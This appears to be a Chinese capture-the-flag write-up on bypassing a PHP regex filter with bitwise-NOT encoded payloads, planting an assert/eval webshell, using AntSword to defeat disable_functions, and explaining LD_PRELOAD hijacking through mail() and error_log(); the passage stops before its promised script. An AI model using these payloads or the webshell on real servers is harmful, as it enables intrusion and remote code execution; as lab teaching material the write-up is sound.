绕过正则,有长度限制,考虑取反绕过,先看看php配置
echo urlencode(~'phpinfo'); //%8F%97%8F%96%91%99%90
?code=(~%8F%97%8F%96%91%99%90)();
过滤了很多函数
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl
传马
$a = 'assert';
echo urlencode(~$a);
echo "";
$b ='(eval($_POST[1]))';
echo urlencode(~$b);
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);
连接蚁剑,目录中有flag
和readflag
两个文件,猜测通过执行/readflag
得到,但命令执行函数都被过滤,这里需要绕过disable_functions
使用蚁剑绕过disable_functions插件,刚好有php7的UAF
进入虚拟终端后执行/readflag
即可
刚刚那个是非预期嗷,预期呢!
利用linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE。这其实也是蚁剑插件的原理之一。
那我们就来学习一波:
LD_PRELOAD与putenv 链接程序的链接主要有以下三种:
- 静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
- 装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
- 运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。
对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。但是由于程序是在运行时动态加载,这就存在一个问题,假如程序动态加载的函数是恶意的,就有可能导致disable_function被绕过。
LD_PRELOAD的定义:
LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.
LD_PRELOAD 是Linux的环境变量,它允许你定义在程序运行前优先加载的动态链接库。通过这个环境变量,我们可以加载别的动态链接库,用恶意函数覆盖正常函数。
在php中,可使用putenv()函数设置LD_PRELOAD环境变量来加载指定的so文件,so文件中包含自定义函数进行劫持从而达到执行恶意命令的目的。
利用原理mail() 、 error_log()、ImageMagick() 是常用于劫持的触发函数,原因是需要在运行的时候能够启动子进程,这样才能重新加载我们所设置的环境变量,从而劫持子进程所调用的库函数。
- mail函数在运行时,会启动子进程来调用系统的sendmail
- error_log函数当第二个参数为1时,同样会启动子进程来调用系统的sendmail
- ImageMagick函数调用时,也会调用外部程序去处理指定格式文件
蚁剑插件能实现的必要条件:
- mail()函数和error_log()函数所调用的sendmail已安装,例如
apt-get install sendmail
- 不限制 /usr/sbin/sendmail 的执行
- mail()函数和error_log()函数有一个未被禁用
- LD_PRELOAD,即Linux环境下
在插件中,该原理脚本如下:
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?